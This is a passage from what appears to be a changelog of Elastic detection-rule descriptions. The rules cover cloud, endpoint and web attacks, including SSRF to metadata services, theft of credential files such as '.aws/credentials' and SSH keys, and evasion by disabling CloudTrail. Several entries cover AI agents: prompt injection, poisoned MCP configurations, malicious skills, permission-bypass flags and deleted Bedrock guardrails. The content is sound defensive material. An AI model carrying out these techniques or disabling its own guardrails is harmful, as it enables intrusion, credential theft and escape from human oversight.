Detects HTTP requests to web servers whose URL or query string references cloud instance metadata endpoints or equivalent encoded variants. Attackers exploit server-side request forgery (SSRF) vulnerabilities in web applications to reach link-local metadata services on AWS, GCP, Azure, and similar cloud providers and harvest temporary credentials, tokens, or instance details. | update | 3 + +|<> | Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection. | update | 109 + +|<> | Detects unexpected modification of Claude Desktop Cowork VM boot images (kernel, initrd, root filesystem). Adversaries with user-context access can rewrite these stored images so later Cowork sessions boot attacker-controlled code inside a virtual instance that host EDR cannot inspect by default. | update | 2 + +|<> | Identifies the execution of the OpenSSL utility to encrypt data. Adversaries may use OpenSSL to encrypt data to disrupt the availability of their target's data and may attempt to hold the organization's data to ransom for the purposes of extortion. | update | 3 + +|<> | Identifies the deletion of WebServer access logs. This may indicate an attempt to evade detection or destroy forensic evidence on a system. | update | 212 + +|<> | Adversaries may attempt to clear or disable the Bash command-line history in an attempt to evade detection or forensic investigations. | update | 112 + +|<> | Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state. | update | 116 + +|<> | Identifies the execution of a Python script that uses the ROT cipher for letters substitution. Adversaries may use this method to encode and obfuscate part of their malicious code in legit python packages. | update | 7 + +|<> | Identifies a newly observed NetFlow, IPFIX, or sFlow exporter IP followed by another detection alert with medium-or-higher severity or an elevated risk score, where that exporter IP is the source of the detected activity in the same data stream namespace. This correlation adds behavioral evidence that can help distinguish routine exporter onboarding from a potentially unauthorized or compromised exporter introduced as part of defense evasion. | update | 3 + +|<> | Identifies GenAI agent CLIs started with permission-bypass or auto-approval flags that disable human-in-the-loop guardrails. These modes are intended for isolated sandboxes but are frequently misused on internet-connected developer workstations, allowing prompt injection, compromised dependencies, or malicious skills to execute commands, modify files, or reach sensitive paths without confirmation. | update | 2 + +|<> | Detects unusual modification of GenAI tool configuration files. Adversaries may inject malicious MCP server configurations to hijack AI agents for persistence, C2, or data exfiltration. Attack vectors include malware or scripts directly poisoning config files, supply chain attacks via compromised dependencies, and prompt injection attacks that abuse the GenAI tool itself to modify its own configuration. Unauthorized MCP servers added to these configs execute arbitrary commands when the AI tool is next invoked. | update | 8 + +|<> | Detects when GenAI tools spawn compilers or packaging tools to generate executables. Attackers leverage local LLMs to autonomously generate and compile malware, droppers, or implants. Python packaging tools (pyinstaller, nuitka, pyarmor) are particularly high-risk as they create standalone executables that can be deployed without dependencies. This rule focuses on compilation activity that produces output binaries, filtering out inspection-only operations. | update | 4 + +|<> | Detects when GenAI processes perform encoding or chunking (base64, gzip, tar, zip) followed by outbound network activity. This sequence indicates data preparation for exfiltration. Attackers encode or compress sensitive data before transmission to obfuscate contents and evade detection. Legitimate GenAI workflows rarely encode data before network communications. | update | 4 + +|<> | Identifies oversized command lines used by Python, PowerShell, Node.js, or Deno that contain base64 decoding or encoded-command patterns. Adversaries may embed long inline encoded payloads in scripting interpreters to evade inspection and execute malicious content across Windows, macOS, and Linux systems. | update | 2 + +|<> | This rules identifies a process created from an executable with a space appended to the end of the filename. This may indicate an attempt to masquerade a malicious file as benign to gain user execution. When a space is added to the end of certain files, the OS will execute the file according to it's true filetype instead of it's extension. Adversaries can hide a program's true filetype by changing the extension of the file. They can then add a space to the end of the name so that the OS automatically executes the file when it's double-clicked. | update | 13 + +|<> | Detects when an Elastic Defend endpoint alert is generated on a host and is not followed by any subsequent endpoint telemetry (process, network, registry, library, or DNS events) within a short time window. This behavior may indicate endpoint security evasion, agent tampering, sensor disablement, service termination, system crash, or malicious interference with telemetry collection following detection. | update | 5 + +|<> | Through the new_terms rule type, this rule detects potential HTTP downgrade attacks by identifying HTTP traffic that uses a different HTTP version than the one typically used in the environment. An HTTP downgrade attack occurs when an attacker forces a connection via an older HTTP version, resulting in potentially less secure communication. For example, an attacker might downgrade a connection from HTTP/2 to HTTP/1.1 or HTTP/1.0 to exploit known vulnerabilities or weaknesses in the older protocol versions. | update | 3 + +|<> | Identify instances where adversaries include trailing space characters to mimic regular files, disguising their activity to evade default file handling mechanisms. | update | 6 + +|<> | Timestomping is an anti-forensics technique which is used to modify the timestamps of a file, often to mimic files that are in the same folder. | update | 111 + +|<> | Identifies process execution events where the command line value contains a long sequence of whitespace characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious behavior. | update | 6 + +|<> | Identifies the use of the grep command to discover known third-party macOS and Linux security tools, such as Antivirus or Host Firewall details. | update | 114 + +|<> | An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. | update | 110 + +|<> | Identifies the execution of Living Off the Land Binaries (LOLBins) or GTFOBins on EC2 instances via AWS Systems Manager (SSM) `SendCommand` API. This detection correlates AWS CloudTrail `SendCommand` events with endpoint process execution by matching SSM command IDs. While AWS redacts command parameters in CloudTrail logs, this correlation technique reveals the actual commands executed on EC2 instances. Adversaries may abuse SSM to execute malicious commands remotely without requiring SSH or RDP access, using legitimate system utilities for data exfiltration, establishing reverse shells, or lateral movement. | update | 5 + +|<> | Identifies the use of the AWS Systems Manager (SSM) `SendCommand` API with the either `AWS-RunShellScript` or `AWS-RunPowerShellScript` parameters. The `SendCommand` API call allows users to execute commands on EC2 instances using the SSM service. Adversaries may use this technique to execute commands on EC2 instances without the need for SSH or RDP access. This behavior may indicate an adversary attempting to execute commands on an EC2 instance for malicious purposes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule that only flags when this behavior is observed for the first time on a host in the last 7 days. | update | 8 + +|<> | Identifies process start events where the parent process is the AWS Systems Manager (SSM) Session Manager worker. Session Manager provides interactive shell access to EC2 instances and hybrid nodes without bastion hosts or open inbound ports. Adversaries abuse it for remote execution and lateral movement using legitimate AWS credentials and IAM permissions. This rule surfaces endpoint execution occurring under that worker for visibility and hunting. Expect noise from authorized administrative sessions. | update | 4 + +|<> | Identifies process start events whose parent matches Azure Virtual Machine Run Command execution patterns on Windows or Linux. On Windows, Run Command often launches PowerShell with `-ExecutionPolicy Unrestricted` and a `script?.ps1` file; on Linux, the Azure Linux Agent (waagent) runs downloaded script.sh under "/var/lib/waagent/run-command/". Child process telemetry exposes the on-guest payload that cloud activity logs do not fully describe. | update | 2 + +|<> | Correlates successful Azure Virtual Machine Run Command operations with endpoint process execution on the same host within minutes. Adversaries abuse Run Command to run scripts remotely as SYSTEM or root while activity logs only record the control-plane action; Elastic Defend process telemetry reveals the on-guest payload. | update | 2 + +|<> | This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository. | update | 3 + +|<> | This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm. | update | 5 + +|<> | Detects suspicious child process execution from the OpenClaw, Moltbot, or Clawdbot AI coding agents running via Node.js. These tools can execute arbitrary shell commands through skills or prompt injection attacks. Malicious skills from public registries like ClawHub have been observed executing obfuscated download-and-execute commands targeting cryptocurrency wallets and credentials. This rule identifies shells, scripting interpreters, and common LOLBins spawned by these AI agents. | update | 5 + +|<> | This rule uses alert data to determine when a malware signature is triggered in multiple hosts. Analysts can use this to prioritize triage and response, as this can potentially indicate a widespread malware infection. | update | 8 + +|<> | This rule detects the creation of privileged containers that mount host directories into the container's filesystem. Such configurations can be exploited by attackers to escape the container isolation and gain access to the host system, potentially leading to privilege escalation and lateral movement within the environment. | update | 3 + +|<> | This rule detects the configuration of a GitHub Actions self-hosted runner using the Runner.Listener binary. When a machine is registered to a remote repository, its owner gains the ability to execute arbitrary workflow commands on that host. Unexpected or unauthorized runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. | update | 4 + +|<> | Identifies the execution of a shell process with suspicious arguments which may be indicative of reverse shell activity. | update | 113 + +|<> | Identifies suspicious Java file creation in the IRJ directory of the SAP NetWeaver application. This may indicate an attempt to deploy a webshell. | update | 3 + +|<> | Identifies suspicious processes spawned from the SAP NetWeaver application. This may indicate an attempt to execute commands via webshell. | update | 3 + +|<> | Identifies a Java process that accepts an inbound network connection and then spawns a suspicious child process. This may indicate exploitation of a Java service that runs attacker-controlled code, such as one that deserializes untrusted objects. | update | 110 + +|<> | Identifies suspicious process execution associated with the Zoom desktop client on macOS and Linux. The rule detects shells, script interpreters, downloaders, and network utilities spawned by Zoom on either platform. On Linux, it also detects Zoom replacing its own process image with an executable outside the Zoom installation directory. These behaviors may indicate successful exploitation of a Zoom client vulnerability, including CVE-2026-53413. | update | 2 + +|<> | Detects the execution of suspicious shell commands via the Python interpreter. Attackers may use Python to execute shell commands to gain access to the system or to perform other malicious activities, such as credential access, data exfiltration, or lateral movement. | update | 6 + +|<> | This rule detects potentially dangerous commands spawned by the GitHub Actions Runner.Worker process or by shell interpreters launched via a runner entrypoint script on self-hosted runner machines. Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. This behavior may indicate malicious or unexpected workflow activity, including code execution, reconnaissance, credential harvesting, or network exfiltration initiated through a compromised repository or unauthorized workflow. | update | 4 + +|<> | This rule detects processes spawned by GitHub Actions runners where "RUNNER_TRACKING_ID" is overridden from its default "github_*" value. Such tampering has been associated with attempts to evade runner tracking/cleanup on self-hosted runners, including behavior observed in the Shai-Hulud 2.0 npm worm campaign. | update | 3 + +|<> | Detects the use of curl to upload files to an internet server. Threat actors often will collect and exfiltrate data on a system to their C2 server for review. Many threat actors have been observed using curl to upload the collected data. Use of curl in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity. | update | 11 + +|<> | This rule helps you test and practice using alerts with Elastic Security as you get set up. It’s not a sign of threat activity. | update | 6 + +|<> | This rule correlates security alerts with processes exhibiting unusually high CPU utilization on the same host and process ID within a short time window. This behavior may indicate malicious activity such as malware execution, cryptomining, exploit payload execution, or abuse of system resources following initial compromise. | update | 5 + +|<> | This rule correlates multiple security alerts from a host exhibiting unusually high CPU utilization within a short time window. This behavior may indicate malicious activity such as malware execution, cryptomining, exploit payload execution, or abuse of system resources following initial compromise. | update | 4 + +|<> | The hosts file on endpoints is used to control manual IP address to hostname resolutions. The hosts file is the first point of lookup for DNS hostname resolution so if adversaries can modify the endpoint hosts file, they can route traffic to malicious infrastructure. This rule detects modifications to the hosts file on Microsoft Windows, Linux (Ubuntu or RHEL) and macOS systems. | update | 215 + +|<> | This rule alerts on processes exhibiting high CPU usage and that are observed for the first time in the previous 5 days. A previously unseen process consuming sustained CPU resources may indicate suspicious activity such as cryptomining, exploit payload execution, or other forms of resource abuse following host compromise. In some cases, this may also surface legitimate but unexpected software causing performance degradation. | update | 3 + +|<> | This rule correlate Entra-ID or Microsoft 365 mail successful sign-in events with network security alerts by source address. Adversaries may trigger some network security alerts such as reputation or other anomalies before accessing cloud resources. | update | 9 + +|<> | This rule detects suspicious child process activity from a React server application. This could be related to successful exploitation of CVE-2025-55182 or CVE-2025-66478. These vulnerabilities allow attackers to execute remote code due to insecure deserialization of React Server Components (RSC) Flight payloads, leading to unauthenticated RCE on servers running React 19.x or Next.js 14.3.0-canary+, 15.x, and 16.x with the App Router enabled | update | 4 + +|<> | This rule detects potential initial access activity where an adversary uploads a web shell or malicious script to a web server via a file upload mechanism (e.g., through a web form using multipart/form-data), followed by a GET or POST request to access the uploaded file. By checking the body content of HTTP requests for file upload indicators such as "Content-Disposition: form-data" and "filename=", the rule identifies suspicious upload activities. This sequence of actions is commonly used by attackers to gain and maintain access to compromised web servers. | update | 4 + +|<> | Detects when a FortiGate SSL VPN login event is followed by any SIEM detection alert for the same user name within a short time window. This correlation can indicate abuse of VPN access for malicious activity, credential compromise used from a VPN session, or initial access via VPN followed by post-compromise behavior. | update | 4 + +|<> | Detects when the Ollama LLM server accepts connections from external IP addresses. Ollama lacks built-in authentication, so exposed instances allow unauthenticated model theft, prompt injection, and resource hijacking. | update | 3 + +|<> | Detects creation of Java .class files within the PaperCut NG/MF Application Server library directory. During active exploitation of CVE-2026-82078 (chained with CVE-2026-81578), attackers deliver hex-encoded malicious .class payloads into the PaperCut server/lib path (observed examples include Udydn.class and Moo97.class) so arbitrary bytecode executes inside the PaperCut JVM / Application Server process. | update | 2 + +|<> | This rule identifies Zoom meetings that are created without a passcode. Meetings without a passcode are susceptible to Zoombombing. Zoombombing is carried out by taking advantage of Zoom sessions that are not protected with a passcode. Zoombombing refers to the unwanted, disruptive intrusion, generally by Internet trolls and hackers, into a video conference call. In a typical Zoombombing incident, a teleconferencing session is hijacked by the insertion of material that is lewd, obscene, racist, or antisemitic in nature, typically resulting of the shutdown of the session. | update | 107 + +|<> | This rule detects source IPs that triggered their first lateral movement alert within the last 10 minutes (i.e., newly observed), while also triggering at least 2 distinct lateral movement detection rules. This surfaces new potentially malicious IPs exhibiting immediate lateral movement behavior. | update | 4 + +|<> | This rule detects multiple lateral movement alerts from a user that was observed for the first time in the previous 5 days of alerts history. Analysts can use this high-order detection to prioritize triage and response. | update | 4 + +|<> | Detects potential lateral movement or post-compromise activity by correlating alerts where the host.ip of one alert matches the source.ip of a subsequent alert. This behavior may indicate a compromised host being used to authenticate to another system or resource, including cloud services. | update | 5 + +|<> | This rule uses alert data to determine when multiple alerts from Elastic Defend involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. | update | 4 + +|<> | Detects multiple Elastic Defend EDR alerts originating from the same process tree, indicating coordinated malicious activity. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. | update | 3 + +|<> | This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW), Fortinet Fortigate and Suricata by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts. | update | 9 + +|<> | This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack. | update | 5 + +|<> | This rule uses alert data to determine when multiple alerts from different integrations with unique event categories and involving the same destination.ip are triggered. Analysts can use this to prioritize triage and response, as these IP address is more likely to be related to a compromise. | update | 4 + +|<> | This rule uses alert data to determine when multiple alerts from different integrations with unique event categories and involving the same source.ip are triggered. Analysts can use this to prioritize triage and response, as these IP addresses are more likely to be related to a compromise. | update | 4 + +|<> | This rule uses alert data to determine when multiple alerts from different integrations with unique event categories and involving the same user.name are triggered. Analysts can use this to prioritize triage and response, as these users are more likely to be compromised. | update | 4 + +|<> | This rule uses alert data to determine when multiple different alerts involving the same user are triggered. Analysts can use this to prioritize triage and response, as these users are more likely to be compromised. | update | 11 + +|<> | This rule correlates medium-or-higher severity alerts involving the same host from at least two distinct detection rules mapped to three or more ATT&CK tactics. Analysts can use this to prioritize triage and response, as this combination may indicate host compromise. | update | 8 + +|<> | This rule correlates multiple security alerts associated with the same ATT&CK tactic on a single host within a defined time window. By requiring alerts from multiple distinct detection rules, this detection helps identify hosts exhibiting concentrated malicious behavior, which may indicate an active intrusion or post-compromise activity. The rule is intended to assist analysts in prioritizing triage toward hosts with higher likelihood of compromise rather than signaling a single discrete event. | update | 6 + +|<> | This rule uses alert data to determine when multiple external EDR alerts involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. | update | 6 + +|<> | This rule uses alerts data to determine when multiple unique machine learning jobs involving the same influencer field are triggered. Analysts can use this to prioritize triage and response machine learning alerts. | update | 4 + +|<> | This alert identifies assets with an elevated number of vulnerabilities reported by Wiz, potentially indicating weak security posture, missed patching, or active exposure. The rule highlights assets with a high volume of distinct vulnerabilities, the presence of exploitable vulnerabilities, or a combination of multiple severities, helping prioritize assets that pose increased risk. | update | 4 + +|<> | This rule detects Elastic Defend behavior alerts that are observed for the first time today when compared against the previous 5 days of alert history. It highlights low-volume, newly observed alerts tied to a specific detection rule, analysts can use this to prioritize triage and response. | update | 4 + +|<> | This rule detects Elastic SIEM high severity detection alerts that are observed for the first time in the previous 5 days of alert history. It highlights low-volume, newly observed alerts tied to a specific detection rule, analysts can use this to prioritize triage and response. | update | 7 + +|<> | This rule detects FortiGate alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. | update | 4 + +|<> | This rule detects Palo Alto Network alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. | update | 5 + +|<> | This rule detects Suricata high severity alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. | update | 4 + +|<> | Both ~/.bash_profile and ~/.bashrc are files containing shell commands that are run when Bash is invoked. These files are executed in a user's context, either interactively or non-interactively, when a user logs in so that their environment is set correctly. Adversaries may abuse this to establish persistence by executing malicious content triggered by a user’s shell. | update | 109 + +|<> | The Secure Shell (SSH) authorized_keys file specifies which users are allowed to log into a server using public key authentication. Adversaries may modify it to maintain persistence on a victim host by adding their own public key(s). | update | 211 + +|<> | This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early. | update | 8 + +|<> | This rule detects potential SQL injection attempts in web server requests by identifying common SQL injection patterns in URLs. Such activity may indicate reconnaissance or exploitation attempts by attackers trying to manipulate backend databases or extract sensitive information. | update | 6 + +|<> | A sudoers file specifies the commands users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. | update | 109 + +|<> | An adversary may add the setuid or setgid bit to a file or directory in order to run a file with the privileges of the owning user or group. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setuid or setgid bit to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. | update | 111 + +|<> | A sudoers file specifies the commands that users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. | update | 212 + +|<> | Identify activity related where adversaries can include a trap command which then allows programs and shells to specify commands that will be executed upon receiving interrupt signals. | update | 7 + +|<> | This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks. | update | 7 + +|<> | This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. | update | 6 + +|<> | This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. | update | 7 + +|<> | This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks. | update | 7 + +|<> | Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. | update | 215 + +|<> | Detects a principal modifying an S3 bucket ACL to grant public read or write access that has not been observed doing so within the history window, using canned ACLs such as public-read or public-read-write. ACL-based public access is a distinct API path (PutBucketAcl) that can bypass some Block Public Access controls. Monitoring for new identities performing this change helps surface freshly compromised credentials being used to stage data for exfiltration or inadvertently expose sensitive content. | update | 2 + +|<> | Identifies AWS CloudTrail events where an unauthenticated source is attempting to access an S3 bucket. This activity may indicate a misconfigured S3 bucket policy that allows public access to the bucket, potentially exposing sensitive data to unauthorized users. Adversaries can specify --no-sign-request in the AWS CLI to retrieve objects from an S3 bucket without authentication. This is a New Terms rule, which means it will trigger for each unique combination of the source.address and targeted bucket name that has not been seen making this API request. | update | 10 + +|<> | Identifies the first occurrence of an unauthorized attempt by an AWS role to use `GetPassword` to access the administrator password of an EC2 instance. Adversaries may use this API call to escalate privileges or move laterally within EC2 instances. | update | 10 + +|<> | Identifies AWS CloudTrail data events where an unauthenticated identity successfully retrieves temporary AWS credentials from a Cognito Identity Pool via GetCredentialsForIdentity. Cognito Identity Pools can be configured to allow unauthenticated (guest) access, intended for scenarios like anonymous app analytics, but a pool that grants those anonymous identities meaningful IAM permissions becomes a public, unauthenticated path to real AWS credentials. Adversaries who discover an identity pool ID (often embedded in mobile app binaries, web app JavaScript, or public source repositories) can call GetId followed by GetCredentialsForIdentity with no login token at all to obtain temporary credentials, then use them to access whatever the pool's unauthenticated role permits. This is a New Terms rule that limits alerting to identity pools that have not been observed issuing credentials to an unauthenticated caller before, since some applications intentionally and continuously use guest access as part of normal operation. | update | 2 + +|<> | Detects successful S3 GetObject calls targeting high-value credential and secret files commonly stored in S3 buckets: AWS credentials files (".aws/credentials", ".aws/config"), SSH private keys ("id_rsa", "id_ed25519", "id_ecdsa", "id_dsa"), environment files (".env"), PEM and PuTTY key files, and other private key patterns. These file types are high-yield targets for credential harvesting from S3. The rule excludes AWSService identity type to suppress S3 replication, Glacier restore, and other AWS-internal data movement that legitimately reads these files. | update | 2 + +|<> | This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. | update | 8 + +|<> | Identifies the first time, within the configured history window, that a long-term IAM access key ID (prefix AKIA) is used successfully from a given source.ip in AWS CloudTrail. Long-term access keys belong to IAM users or the account root user. They are a common target after credential theft or leakage, including supply-chain and exposed-key scenarios. Temporary security credentials (prefix ASIA) and console sessions are excluded so the signal emphasizes programmatic access patterns. | update | 3 + +|<> | Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. | update | 216 + +|<> | An adversary with access to a compromised AWS service such as an EC2 instance, Lambda function, or other service may attempt to leverage the compromised service to access secrets in AWS Secrets Manager. This rule looks for the first time a specific user identity has programmatically retrieved a secret value from Secrets Manager using the GetSecretValue action. This rule assumes that AWS services such as Lambda functions and EC2 instances are setup with IAM role's assigned that have the necessary permissions to access the secrets in Secrets Manager. An adversary with access to a compromised AWS service would rely on its' attached role to access the secrets in Secrets Manager. | update | 321 + +|<> | Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. | update | 9 + +|<> | Detects the first occurrence of a user identity accessing AWS Systems Manager (SSM) SecureString parameters using the GetParameter or GetParameters API actions with credentials in the request parameters. This could indicate that the user is accessing sensitive information. This rule detects when a user accesses a SecureString parameter with the withDecryption parameter set to true. This is a New Terms rule that detects the first occurrence of an AWS identity accessing SecureString parameters with decryption. | update | 11 + +|<> | Identifies a high number of failed authentication attempts to the AWS management console for the Root user identity. An adversary may attempt to brute force the password for the Root user identity, as it has complete access to all services and resources for the AWS account. | update | 215 + +|<> | Identifies failed authentication attempts against the AWS Management Console root user from the same source IP address targeting multiple AWS accounts. Password spraying uses few attempts per target across many accounts to avoid lockout, making per-account volume an unreliable signal. This rule detects the cross-account breadth pattern: a single source IP generating root ConsoleLogin failures across two or more distinct AWS accounts. Requires an AWS Organizations-level CloudTrail trail aggregating events from member accounts. | update | 2 + +|<> | Detects deletion or modification of AWS Bedrock Automated Reasoning policies via the DeleteAutomatedReasoningPolicy, UpdateAutomatedReasoningPolicy, or UpdateAutomatedReasoningPolicyAnnotations CloudTrail actions. Automated Reasoning policies are a Bedrock safety and validation control that constrains model outputs against formal rules. An adversary who deletes a policy or alters the policy definition or its annotations weakens an enforced output-validation defense, potentially allowing unsafe or non-compliant model responses to pass unchecked. Benign build, test-workflow, and test-case CRUD operations are intentionally excluded as they have no coherent abuse path. | update | 2 + +|<> | Detects deletion, weakening, or version management of AWS Bedrock guardrails via the DeleteGuardrail, UpdateGuardrail, DeleteEnforcedGuardrailConfiguration, or PutEnforcedGuardrailConfiguration APIs. Bedrock guardrails enforce content, topic, word, and sensitive-information policies on model invocations. Deleting a guardrail, loosening its policies, removing or overwriting the organization-enforced guardrail configuration, or creating a new version to enforce a weakened configuration allows an adversary to bypass these protections — the cloud control-plane equivalent of disabling a security tool. This activity should be validated against approved change management and the responsible identity. | update | 3 + +|<> | Detects when an AWS Bedrock model invocation logging configuration is deleted or overwritten via the DeleteModelInvocationLoggingConfiguration or PutModelInvocationLoggingConfiguration API calls. Model invocation logging is the source that feeds the logs-aws_bedrock.invocation-* dataset relied upon by all data-plane Bedrock detections. An adversary who has gained access to a Bedrock environment can blind defenders by deleting this configuration, or by using the Put API to redirect logs to an attacker-controlled or non-monitored S3 bucket or CloudWatch log group. Because this single control-plane action can neutralize the entire data-plane detection stack, it is a high-value evasion technique that should be validated against expected administrative change activity. | update | 2 + +|<> | Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging. | update | 217 + +|<> | Identifies the evasion of cloudtrail logging for IAM actions involving policy creation, modification or attachment. When making certain policy-related API calls, an adversary may pad the associated policy document with whitespaces to trigger CloudTrail’s logging size constraints, resulting in incomplete logging where critical details about the policy are omitted. By exploiting this gap, threat actors can bypass monitoring performed through CloudTrail and can effectively obscure unauthorized changes. This rule looks for IAM API calls with the requestParameters property containing reason:”requestParameters too large” and omitted:true. | update | 4 + +|<> | Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. | update | 217 + +|<> | Detects CloudTrail PutEventSelectors calls where the legacy event selectors explicitly set includeManagementEvents to false, disabling capture of all management API calls for that trail. Unlike StopLogging or DeleteTrail — which leave an obvious trace of the trail being stopped or removed entirely — this technique leaves the trail appearing active and healthy in the console while silently blinding defenders to subsequent IAM changes, credential operations, and resource abuse. This technique is documented in Stratus Red Team as aws.defense-evasion.cloudtrail-event-selectors and is a known pre-exfiltration step. | update | 2 + +|<> | Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses. | update | 216 + +|<> | Identifies attempts to delete AWS Config resources. AWS Config provides continuous visibility into resource configuration changes and compliance posture across an account. Deleting Config components can significantly reduce security visibility and auditability. Adversaries may delete or disable Config resources to evade detection, hide prior activity, or weaken governance controls before or after other malicious actions. | update | 216 + +|<> | Identifies when an AWS Config configuration recorder is stopped. AWS Config recorders continuously track and record configuration changes across supported AWS resources. Stopping the recorder immediately reduces visibility into infrastructure changes and can be abused by adversaries to evade detection, obscure follow-on activity, or weaken compliance and security monitoring controls. | update | 213 + +|<> | Detects the deletion of an Amazon Detective behavior graph via the DeleteGraph API. Amazon Detective automatically collects log data from AWS services and uses machine learning, statistical analysis, and graph theory to build an interactive model of resource behaviors and interactions. Deleting a behavior graph destroys its historical analysis data and removes the ability to investigate security incidents using Detective's relationship mapping. An attacker with sufficient IAM permissions may delete the Detective graph to impair forensic investigation of a compromise. | update | 2 + +|<> | Identifies the deletion of one or more flow logs in AWS Elastic Compute Cloud (EC2). An adversary may delete flow logs in an attempt to evade defenses. | update | 215 + +|<> | Detects a principal account creating or replacing - or attempts to create or replace - an AWS Network Access Control List (NACL) entry using protocol -1 (all traffic). Both successful and failed outcomes are included. A NACL entry with protocol -1 passes all traffic regardless of port, which would disable network-layer controls for the affected subnets. Monitoring for new identities performing this change helps surface freshly compromised credentials or unauthorized principals removing a defense-in-depth layer to facilitate lateral movement or data exfiltration. This signal only flags if this behavior was not observed historically in a specific time window. | update | 2 + +|<> | Identifies the deletion of an Amazon Elastic Compute Cloud (EC2) network access control list (ACL) or one of its ingress/egress entries. | update | 214 + +|<> | Detects when EC2 Serial Console Access is enabled for an AWS account. The EC2 Serial Console provides direct, text-based access to an instance's serial port, bypassing the network layer entirely. While useful for troubleshooting boot issues or network misconfigurations, enabling serial console access in production environments is rare and potentially dangerous. Adversaries may enable this feature to establish an out-of-band communication channel that evades network-based security monitoring, firewalls, and VPC controls. This access method can be used for persistent backdoor access or to interact with compromised instances without triggering network-based detection mechanisms. | update | 4 + +|<> | Detects successful Amazon EKS UpdateClusterConfig requests that disable control plane logging. Disabling EKS API server and control plane logs can reduce visibility into cluster activity and may indicate defense evasion following compromised AWS credentials or unauthorized administrative access. EKS control plane logging changes are typically rare and should align with approved maintenance or cost optimization workflows. | update | 3 + +|<> | Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade 